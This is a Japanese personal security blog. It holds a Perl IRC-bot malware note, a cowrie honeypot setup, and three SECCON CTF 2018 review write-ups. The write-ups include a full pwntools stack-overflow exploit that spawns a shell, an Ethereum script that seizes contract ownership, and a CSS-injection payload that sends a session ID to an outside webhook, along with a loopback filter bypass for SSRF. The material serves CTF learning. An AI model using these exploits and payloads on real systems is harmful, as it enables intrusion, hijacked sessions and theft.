fr33f0r4ll

自分用雑記

Perlマルウェア解析メモ

自分用にメモ。

ちょっと前に立てたハニポが好評らしく、検体がそこそこ集まっているなか、1つだけ難読化もどきがされているものがあったので調べてみた。

検体のハッシュ値
SHA256: a5a62669414b7e87eef6bf809bae9ee65e3970017e75939e1466cbaa15a9686b
MD5: 331bafbf48e1ece5134bc42f4a9bd2be

パッと見だとeval unpackの後に適当な文字列がならんでいたので、これは展開して実行するんだなと思いながら検索していると、どうもPerlの関数らしいということが分かった。
そこで、eval -> printにするだけというありきたりなやり方で表示させたら見事展開したコードが取得できた。

中身は、指定されたホストの6665に接続するircボットらしかった。 ネットワークスキャン、バックドア、DDoS機能も付いてるっぽい。

他のマルウェア、Mirai系とかは難読化されていないらしかったので目に付いた。 もっとも、ただデータをpackしていただけなので、難読化ってほどじゃなかったけど。

VirusTotalに投げてみたら、難読化状態ではなんと検知0だった。 難読化解除してから投げたら、検知数は26/57だった。 あんな単純な難読化のスクリプトでも検知できないのは少し驚いた、振る舞い検知みたいなことはしてないらしい。

Honeypot始めました

寒くなってきたのでハニポを立てることにしました。

設定とか

ハニポサーバ

ssh, telnetハニーポットであるcowrieを、Docker上で動かすようにしました。 AWSのEC2の無料枠内を使ってます、今のところ問題なく動作しているみたいです。 ハニーポットとかAWSとか何もかも始めてでしたが1日でセットアップを終わらせることができました。 Dockerだとローカルで再現して検証するのが楽でいいですね。

docker-compose.ymlはこんな感じです。

version: '3'
services:
  cowrie:
    image: cowrie/cowrie:latest
    ports:
      - "22:2222"
      - "23:2223"
    volumes:
      - ./etc/cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg:ro
      - ./var:/cowrie/cowrie-git/var

これだけで動く、最高! cowrie/cowrieのイメージは一応cowrieの公式イメージだそうです、githubの方にリンク貼ってあるし多分問題ないでしょう。 設定は./etc/cowrie.cfgに配置してあるのをコンテナにも置くようにして反映させています。 ログは./varに置かれるようにしています、マルウェアも降ってくるのであんまり良くない気もしますが多分大丈夫でしょう。 コンテナにマウントする前に、./var内に適切にディレクトリを配置しておかないとエラーを吐くので注意が必要です。 以下のようになっていれば大丈夫です。

var/run
var/lib
var/lib/cowrie
var/lib/cowrie/tty
var/lib/cowrie/downloads
var/log
var/log/cowrie

出力はjson形式でやっています。 本当はElasticsearchに吐くようにしたいけど、AWS無料枠制限でこれ以上サーバを立てられないのでローカルにログを移動してそれをローカルのElasticsearchに投げてます。 雑ですね。

cowrieの設定は、telnetを開けて認証をランダムにしたくらいです。

ログ解析環境

解析環境は、ElasticsearchとKibanaをDockerで動かしています。 Docker素晴しい。 docker-compose.ymlはこんな感じ。

version: '3'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:6.4.2
    environment:
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    expose:
      - 9200
    ports:
      - 9200:9200
    networks:
      intra:
        ipv4_address: 172.16.200.102
    volumes:
      - ./elasticsearch/data:/usr/share/elasticsearch/data
  kibana:
    image: docker.elastic.co/kibana/kibana:6.4.2
    volumes:
      - ./kibana/kibana.yml:/usr/share/kibana/config/kibana.yml:ro
    networks:
      intra:
        ipv4_address: 172.16.200.103
    depends_on:
      - elasticsearch
  nginx:
    image: nginx:latest
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
      - ./nginx/htpasswd:/usr/local/nginx/.htpasswd:ro
    networks:
      intra:
        ipv4_address: 172.16.200.104
    ports:
      - 80:80
      
networks:
  intra:
    driver: bridge
    ipam:
      driver: default
      config:
      -
        subnet: 172.16.200.0/24

kibana.ymlだけ用意する必要がある(Elasticsearchのアドレス指定のため)が、Nginxを消してKibanaの方に80:5601とか設定すればnginx関連は不要になる。 他の用途に使っていたものを流用しているのであまり最適化されてないですね。TODO: あとでやる

いろいろ遊んでる。

f:id:hiziriAI:20181117184611p:plain

運用状況

さっそく色々降ってきてるみたいで、有名なraspberryraspberry993311もいた。 他にもjirenみたいな名前のやつとかxorddosみたいな名前のやつとか来てました。

ログインをランダムにしているので、色んなログイン情報取れるのが良い感じ。

どこかのサーバからロシアの検索エンジンあてのクエリみたいなものが転送されてくるのが一番謎ですね。 AmazonとかにHTTPクエリっぽいのが転送されてきてました。

ストレージは30GBくらいまで持つみたいなので、ログはギリギリまで溜めて削除する運用方針です。

今後

次はtsharkとかでパケットのログも取りたいところです。 おもしろいログがあったら書きます。

SECCON CTF 2018 Online Profile 復習

SECCON CTF 2018 Online Profile 復習

参考にしたサイト

問題

profileというプログラムとlibcが降ってくる。

セキュリティ機構は以下。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

標準的なセキュリティ機構は有効で変わったところはない。

次はfileの出力。

profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped

x64らしい。

解析

Radare2で解析してみたらC++だった。

復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。

Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。

stringクラス

Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。

自分じゃコードとか解析しきれなかった、パワーが足りない...

Writeupその1から取ってきたPoCコード。

#include <cstdlib>
#include <iostream>
#include <string>

// replace operator new and delete to log allocations
void* operator new(std::size_t n) {
    std::cout << "[Allocating " << n << " bytes]";
    return malloc(n);
}
void operator delete(void* p) throw() {
    free(p);
}

int main() {
    for (size_t i = 0; i < 24; ++i) {
        std::cout << i << ": " << std::string(i, '=') << std::endl;
    }
}

実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msgで使われているmalloc_usable_sizeはスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。

作問者さまのサイトから拾ってきたソースコードの該当する部分。

void Profile::update_msg(void){
    char *buf;
    size_t size;

    buf = (char*)msg.c_str();
    if(!(size = malloc_usable_size(buf))){ // ここで負数が返される
        cout << "Unable to update message." << endl;
        return;
    }

    cout << "Input new message >> ";
    getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる
}

説明のためにコード中にコメントを書き加えた。

Exploit

stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。

0c:0060│ rax rdi  0x7fffffffd490 <- 0x54534554 /* 'TEST' */
0d:0068│          0x7fffffffd498 -> 0x401544 <- no
0e:0070│          0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */            # Profile p.msg、文字列が格納されている場所へのポインタ
0f:0078│          0x7fffffffd4a8 <- 0x4                                                       # Profile p.msg、格納されている文字数
10:0080│          0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */                               # Profile p.msg、バッファの前半部分
11:0088│          0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop    rbp #Profile p.msg、バッファの後半部分
12:0090│          0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                 # Profile p.name、文字列が格納されている場所へのポインタ
13:0098│          0x7fffffffd4c8 <- 0x4                                                       # Profile p.name、格納されている文字数
14:00a0│          0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                                   # Profile p.name、バッファの前半部分、16バイト
15:00a8│          0x7fffffffd4d8 <- 0x0                                                       # Profile p.name、バッファの後半部分
16:00b0│          0x7fffffffd4e0 <- 0x14                                                      # Profile p.age、20を入力した
17:00b8│          0x7fffffffd4e8 <- 0x9772425bb8672300                                        # canary、prev rbpとの間はパディング?
18:00c0│          0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1
19:00c8│          0x7fffffffd4f8 <- 0x0
1a:00d0│ rbp      0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push   r15                  # prev rbp
1b:00d8│          0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov    edi, eax # return address

スタックの配置がこんな感じになっているので、Profile::update_msggetn(buf, size);バッファオーバーフローさせることで、p.nameの文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profileを選択することで、任意のアドレスの値を表示させられる。

ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XXの範囲の値を全て見ることができる。
また、Profile pがスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p自身も含まれている可能性が高い。

以上のことから、0x00から0xffの範囲をダンプしてp.msgに入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。

次に、p.nameの指すアドレスをGOT領域のreadに設定して、readが実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem/bin/shかone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。

Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './profile'
libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('profile.pwn.seccon.jp', 28553)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
menu = {'exit': '0', 'update': '1', 'show': '2'}

io = start(env={
    'LD_PRELOAD':
    './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
})
elf = ELF(exe)
libc = ELF(libc)


# メニューの'update message'へ、payloadを入力する
def update(payload):
    io.sendlineafter('>> ', menu['update'])
    io.sendlineafter('Input new message >> ', payload)


# メニューの'show profile'を呼び出すだけ
def show():
    io.sendlineafter('>> ', menu['show'])


# p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す
# パディングはあとでp.msgの位置を特定するために使う
def leak_val(addr, padding='AAAAAAAABBBBBBBB'):
    assert (len(padding) == 16)

    update(padding + addr)
    show()

    io.recvuntil('Name : ')
    # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要
    out = io.recvuntil('Age  :').strip().ljust(8, '\x00')[:8] 

    return u64(out)


name = 'X' * 15
age = '20'
msg = 'Y'

io.sendline(name)
io.sendline(age)
io.sendline(msg)

# スタックの値をダンプする
leak_vals = []
for i in range(0, 0x100, 8):
    leak = leak_val(chr(i))
    log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak))
    leak_vals.append(leak)

# パディングで設定した値から、p.msgの位置を特定する
if u64('A' * 8) not in leak_vals:
    print("Canary is not found  on the stack, retry.")
    io.close()
    exit(1)

# 特定したp.msgの位置からのオフセットで他の値を取得する
msg_pos = leak_vals.index(u64('A' * 8))
canary = leak_vals[msg_pos + 7]
prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う
# p.nameの文字列へのポインタのアドレス
# main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う
# 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる
profile_name_addr = leak_vals[msg_pos + 2]

log.info('canary: 0x{:x}'.format(canary))
log.info('prev_rbp: 0x{:x}'.format(prev_rbp))

# オーバーフローでシェルを起動する
# read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する
read_got = leak_val(p64(elf.got['read'])) 
libc_base = read_got - libc.symbols['read']
one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい

payload = 'A' * (8 * 2)  # p.msgのバッファを埋めるパディング
payload += p64(profile_name_addr + 0x10)  # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる
payload += 'B' * (8 * 4)  # パディング
payload += p64(canary)
payload += 'X' * 8
payload += 'X' * 8
payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定
payload += p64(one_gadget) # シェルを起動

update(payload)

io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする

io.interactive()

感想

C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。

SECCON CTF 2018 Online Smart Gacha Lv.1 復習

Smart Gacha Lv1の復習

Writeup見ても全然分からなかったので残しておく。
Ethereumの知識が0の状態から突貫でやっているのでその辺りの記述は多分間違っています、注意してください。

参考にしたのはこのあたり、あとは公式のドキュメントとかWeb3.pyのドキュメントとか。

問題

Toggle the "getItem" boolean value in "fair lottery contract" to true. If you are lucky, you have only to press "test luck" button once. Even if you are not lucky, all you have to do is press the button 1,000,000 times.
Server: http://ether.pwn.seccon.jp/

解説

https://cookies.hatenablog.jp/entry/2018/10/28/184145のWriteupを参考にしながら解いた。

問題の解析

ServerのURLにアクセスすると、ログイン画面のようなページが表示される。
でも多分ログインは関係ないはずで、アカウントやパスを入れてもInternal Server Errorが出るだけだと思う。
Signupのところでパスワードが入力できるので、そこでパスワードだけ入力すると問題の"Lottery"にアクセスできる。
このパスワードは後から使うので忘れないように。 アカウントアドレスは空欄のままで問題ない。
正直誘導が不親切だと思う(本番で詰まってた)。

f:id:hiziriAI:20181108153540p:plain

パスワード入れてRegister押せばOK、"Lottery"が表示される。

"Claim ETH", "Deploy Lv1", "Deploy Lv2", "Your own client?"の4つのボタンと、"Wallet Address"と"Balance"の表示がある。

このETHというのはEthereumという分散型アプリケーションプラットフォームプロジェクトで使われる内部通貨の単位のことだと思う。
検索しても適当な用語の使い方をしているサイトばかりで、細かい用語の正しい意味が分からなかった。

まずは"Claim ETH"から問題を解くのに必要なEthereumの通貨を取得する。
しばらく待つと"Balance"が10ETHになる、これを元に問題を解ける。
無くなったらクッキーを削除して再登録すればまたもらえるはず。

f:id:hiziriAI:20181108153543p:plain

こんな感じになってるはず、アドレス見えてるけど閉じてるネットワークだし多分大丈夫だろ(適当)。

次に"Deploy Lv1"を押して、Lv1の問題のスクリプトを読み込む。
すると、"Test Luck!!"と書いてあるボタンとテーブルが追加されている。

f:id:hiziriAI:20181108153549p:plain

こんな感じ。
この"Test Luck!!"を押すと、"Played"が増えて"Balance"が微妙に減る。

問題文から察するに、このクジを当てればいいらしい。
当然まともに当てるわけがない。

クジを当てるには、このクジがどのように動作しているのか調べる必要があるため、ソースコードなんかを探す。
ソースと通信からいくつかのスクリプトが読み込まれているのが分かる。
この中のひとつである"Gacha.sol"がこの"Lottery"のプログラムになる。
一緒にロードされている"/static/lottery.js"を見れば分かるかもしれないが、直感でも何となく分かるだろう。

pragma solidity^0.4.24;

contract Gacha {
    address public owner;
    address public player;
    uint256 public played = 0;
    uint256 public seed;
    uint256 public lastHash;
    bool public getItem = false;
    bytes32 private password;
    
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    constructor(bytes32 _password, uint256 _seed, address _player) public {
        owner = msg.sender;
        player = _player;
        password = _password;
        lastHash = uint256(blockhash(block.number-1));
        seed = _seed;
    }
    
    function pickUp() public returns(bool) {
        require(player == msg.sender);
        
        uint256 blockValue = uint256(blockhash(block.number-1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;

        played++;
        if (mod(played, 1000000) == 0) {
            getItem = true;
            return getItem;
        }
        
        uint256 result = mod(seed * block.number, 200000);
        seed = result;
        
        if (result == 12345) getItem = true; // Flag is here!!
        
        return getItem;
    }
    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
    
    function initSeed(uint256 _seed) onlyOwner public {
        seed = _seed;
    }
    
    function changeOwner(bytes32 _password) public {
        if (password == _password) owner = msg.sender;
    }
    
}

わざわざコメントでフラグの場所を教えてくれている、このgetItemの値がtrueになるようにすればいいらしい。
前後関係から見て、seed * block.number % 200000 == 12345trueになればいいはず。

Ethereum

ここから先のことを理解するにはEthereumを知っていないといけなかったので調べた。 解くのに必要な最低限のことを最低限以下の理解で書いているので、間違ってる可能性が大いにあることに注意。

Ethereumでは、簡単に言うとブロックチェーン上にあるプログラム(コントラクトと呼ばれるらしい)を持つことができ、それを仮想マシン(Ethereum Virtual Machine, EVMというらしい)で実行することができる。
そして、コントラクトを実行した結果をブロックチェーン上に記録していくようになっている。
スマートコントラクトというらしい、詳しい実装などは知らない。

"Gacha.sol"もそのようなプログラムのひとつで、これはSolidityという言語で記述されている。
このコードはコンパイルされ中間表現のバイトコードとしてブロックチェーン上に記述される、その中間コードが実際に実行される。

問題を解く上で重要なのは、Ethereumのコントラクトのコードと一部のデータはブロックチェーンに記録されているため、そのネットワークに参加している人間なら誰でも見ることができるということである。
private宣言されていてもデータとして直接見ることは可能である。

調べた限りではブロックチェーン上に記録しないデータを持つことも可能らしいが、この問題のプログラムでは使われていないので無視する。

脆弱性

Ethereumの特徴から考えると、このプログラムの中のpasswordはネットワークの参加者なら誰でも見ることができるということが分かる。
passwordが分かっているのでchangeOwner関数の呼び出しを通じてこのコントラクトのオーナーになれる、ということらしい。

オーナになると、initSeedを呼び出して任意のシードを設定できるようになる。 どのような値を設定すればクジを当てられるかは簡単な算数で分かる。

seed * block.number % 200000 == 12345が真になればいいので、seed = 12345 * (block.number^-1 mod 200000)と設定すればいい。
逆元により、12345 * block.number^-1 * block.number mod 200000 = 12345となる。
詳しくはmodの逆元で検索すればいいんじゃないかな。

これでどうすればいいかが分かったので、あとはやるだけである。

Exploit

EVMのコードを実行する方法はいくつかあって、Writeupでは”geth”というEthereumのクライアントのコンソールから直接コマンドを実行していた。 前提知識が欠けていたのでまったく分からなかったが。
他にも、RPCを利用してJavaScriptPython経由で利用することもできる。
ここではPythonを使うことにする。

接続

問題を解く前に、CTFで使ってるEthereumのネットワークに接続する必要がある。
ここではgethをDocker上で起動して使うことにする。Dockerのインストールなどは他の記事を見て欲しい。

https://github.com/ethereum/go-ethereum/wiki/Running-in-Docker gethの公式のイメージがあるので、そのまま使わせてもらうことにした。

この問題で使っているネットワークへ接続するための設定ファイルは、"Your own client?"のメニューから取得できる。
"Configuration files"のリンクから設定ファイルをダウンロードして使う。
ダウンロードしたZipを解凍すると"connection"というディレクトリが出てきて、この中に設定がある。
サンプル中の"connection"はこのディレクトリだと思って解釈して欲しい。

起動するためのコマンドは以下の通りになる。

mkdir ether-data # 設定やブロックチェーンなどのデータが書き込まれるディレクトリを作成

# ethereum/client-go以降は、Docker内で実行されるgethに渡されるオプションになる
# connectionとether-dataをDocker環境ないからも参照できるようにして、オプションで設定ファイルとデータの保存場所として指定している
docker run -it -v $(pwd)/connection:/connection -v $(pwd)/ether-data:/data ethereum/client-go --datadir /data init /connection/genesis.json

# --rpcapiでRPCからアクセスできるAPIを指定している、指定しないといくつかの機能がPythonから使えなくなるので注意
# --rpcと--rpcaddrでRPCの起動とアドレスを指定、ポートは初期設定のものに接続できるようにDockerで指定している
docker run -it -v $(pwd)/ether-data:/data -p 8545:8545 -p 30303:30303 ethereum/client-go --datadir /data --networkid=2994 --nodiscover --rpcapi eth,web3,personal,admin --rpc --rpcaddr "0.0.0.0" 

これでgethが起動する、うまくいっていればログが表示されているはずである。

コード

Pythonで作った攻撃スクリプト、何度か実行する必要があるかもしれない(ブロックチェーンの状態は他の人も変化させられるため)。

Web3というEthereumにアクセスするためのライブラリを使うので、pipでインストールする必要がある。 あとPython3じゃないとだめなので注意。

from web3 import Web3

# Ethereumのコードを実行するためには、手元にコンパイルしたコードが必要になる
# 直接Solidityのコンパイラを使ってもいいが、オンラインで使えるコンパイラがあるのでそっちを使った
# https://remix.ethereum.org/
# Gacha.solのコードをコンパイルするには、コンパイラのバージョンをファイル先頭に書いてある0.4.24に合わせる必要がある、nightlyが付いてないやつ
# コンパイルしたあと、ABIからクリップボードにコピーできる
# falseとtrueだけFalseとTrueに合わせる必要がある
# こちらがそのabi

abi = [{
    "constant": False,
    "inputs": [{
        "name": "_seed",
        "type": "uint256"
    }],
    "name": "initSeed",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "played",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [],
    "name": "pickUp",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "lastHash",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "player",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "seed",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "owner",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "getItem",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }],
    "name": "changeOwner",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }, {
        "name": "_seed",
        "type": "uint256"
    }, {
        "name": "_player",
        "type": "address"
    }],
    "payable":
    False,
    "stateMutability":
    "nonpayable",
    "type":
    "constructor"
}]

# それぞれで違うので設定する必要がある
contract_addr = "<Test Luck!!のところのContract Address>"
wallet_addr = "<Wallet Address>"  # wallet addr of lottery
w = Web3()

#  connection/static-nodes.jsonにある接続先の情報、これで自分の環境で動作するDockerからCTFのネットワークに接続できる
w.admin.addPeer(
    "enode://fdc1d08a0902a563c5c593b2ee33224b4e8963ed4b6bd0fd6c7cb5531c33985f696675387b9751c24cc3a691981f888df5b8ab9a4a72646a46d4f1a8f2e4bb36@163.43.117.58:30303?discport=0"
)
w.admin.addPeer(
    "enode://c1905ca15641a649d819798103da61438a33df2a1de6a4b179cfd345346975e4e7a3b2d7131cae00284b89526e90f63ae5753f98b3498a0fe5ac0c47a5ec625b@163.43.117.33:30303?discport=0"
)
w.admin.addPeer(
    "enode://fb41e22d8f1b1142f583ed4bcd8eb448f527cf780029fad529fc06c458e5093d0fdf265925a01612b4e477feaf1aa22422f2b0752d6318bc33671f34bc802b0c@163.43.117.44:30303?discport=0"
)

# どっかからパクってきたmodの逆元計算のための拡張GCD
def egcd(a, b):
    (x, lastx) = (0, 1)
    (y, lasty) = (1, 0)
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lastx) = (lastx - q * x, x)
        (y, lasty) = (lasty - q * y, y)
    return (lastx, lasty, a)

passphrase = "<最初に入力したパスワード>"

# connection/prv.keyにある、Walletの秘密鍵のインポート
# これで割り当てられたETHを使えるようになる
prv_key = ''
with open("./connection/prv.key") as f:
    prv_key = f.read()
    
key = w.eth.account.decrypt(prv_key, passphrase)
w.personal.importRawKey(key, passphrase)

# アカウントのアンロック
# よく分からない、ログイン処理みたいなものだろうか
w.personal.unlockAccount(w.eth.accounts[0], passphrase)
w.eth.defaultAccount = w.eth.accounts[0] # 登録したアカウントをデフォルトで使うように

contract = w.eth.contract(contract_addr, abi=abi)

# ストレージ中からパスワードを取得
# 6がパスワードの位置になる
# 前後の値を見てコード中の変数宣言に対応させていけば大体分かる
password = w.eth.getStorageAt(contract_addr, 6)

# changeOwnerを呼び出す、transactしないとブロックチェーンに記録してくれないらしい
contract.functions.changeOwner(password).transact()
# seed * blockNum mod 20000 == 12345 => (seed * blockNum - 12345) / k is Integer, 200000k

# 以下を何回か繰り返せば、そのうち当たる
# 人が多いときは+ 1より大きくする必要がある
# たまにエラー、リクエストが多いとダメらしい
block_num = w.eth.blockNumber + 1
x, _, _ = egcd(block_num, 200000)
if x < 0:
    x += 200000

# gasというのは手数料みたいなもので、それなりに重い関数だと必要らしい
contract.functions.initSeed(12345 * x).transact({"gas": 1000000})
w.eth.getTransaction(contract.functions.pickUp().transact())
w.eth.getTransaction(contract.functions.getItem().transact())

# 連続して実行するとエラーが出るので、ちょっとまってから実行するといい

だいたいこれで動く。 うまくいけば、Lotteryを更新するとFlagが表示される。

まとめ

Writeupを見ても、Ethereumの知識がないとまったく分からなかったので調べてやってみた。
ブロックチェーン上に状態とコードが保存されるのでコードの実行を一種の取り決めのように扱えるみたいな感じなんだろうか、新鮮だった。
正直CTF中にここまで調べて解くのは僕には無理っす、解けてる人すごい。

SECCON CTF 2018 Online Ghost Kingdom 復習

SECCON CTF 2018 Online Ghost Kingdom 復習

https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。

問題

http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOPと表示される。
GO TO TOPのリンクから問題の脆弱性があるサービスに接続できる。

サービス

ログインするとMessage to admin, Take a screenshot, Upload imageの3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。

以下に各機能の簡単な説明。

Login

ログインはGETにより行われる、普通はPOSTが使われる。

ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。

URLを通じてローカルネットワークから各機能を使わせるのに使った。

Message to admin

NormalEmergencyの2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。

Previewボタンを押すとメッセージのプレビューが表示される。
Normalでは何もないが、Emergencyだと色が付くようになっている。

Previewボタンでの通信を見ると、cssというパラメータが使われているのが分かる。
値の末尾を見ると=が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。 CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors

これを利用してある属性の値をリークさせる。

メッセージ送信の通信を見ると、hiddenパラメータとしてcsrfという値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrfに設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。

Take a screenshot

URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。

この機能とGETによるログインを利用して、サーバからログインしたりさせられる。

Upload image

* Only for users logged in from the local networkと表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。

最終的にこの機能からコマンド実行をする。

解き方

まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。

そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。

セッションハイジャック

セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタcsrfにセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。

input[name=<attr-name>][value$="tail"] { color: green; }で、inputタグの属性<attr-name>の値の末尾がtailであるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }のようなCSSMessage to adminで渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。 Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2

これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。

URLにhttp://localhostのように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=passみたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login

スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
